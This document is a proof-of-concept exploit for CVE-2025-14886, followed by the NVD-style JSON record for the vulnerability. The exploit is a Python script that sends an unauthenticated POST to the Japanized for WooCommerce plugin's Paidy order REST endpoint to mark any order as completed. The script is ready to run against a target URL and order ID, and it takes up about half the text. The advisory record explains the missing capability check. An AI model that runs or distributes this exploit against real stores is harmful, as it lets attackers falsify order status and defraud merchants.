CVE-2025-14886

import requests import json # CVE-2025-14886 PoC - Japanized for WooCommerce Unauthenticated Order Status Modification # Target: WordPress site with Japanized for WooCommerce plugin <= 2.7.17 target_url = "https://target-site.com/wp-json/wc-paidy/v1/order" order_id = 12345 # Target order ID new_status = "completed" # or "processing" # Prepare the payload to modify order status payload = { "order_id": order_id, "status": new_status } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: # Send unauthenticated request to modify order status response = requests.post( target_url, json=payload, headers=headers, verify=False, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Order status modified successfully!") elif response.status_code == 401: print("[-] Authentication required (patched)") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

{"cve": {"id": "CVE-2025-14886", "sourceIdentifier": "[email protected]", "published": "2026-01-09T05:15:57.250", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Japanized for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `order` REST API endpoint in all versions up to, and including, 2.7.17. This makes it possible for unauthenticated attackers to mark any WooCommerce order as processed/completed."}, {"lang": "es", "value": "El plugin Japanized for WooCommerce para WordPress es vulnerable a la modificación no autorizada de datos debido a una falta de verificación de capacidad en el endpoint de la API REST 'order' en todas las versiones hasta la 2.7.17, inclusive. Esto permite a atacantes no autenticados marcar cualquier pedido de WooCommerce como procesado/completado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/woocommerce-for-japan/tags/2.7.17/includes/gateways/paidy/class-wc-paidy-endpoint.php#L51", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4bf3248a-f235-472c-b751-96ac9838b27f?source=cve", "source": "[email protected]"}]}}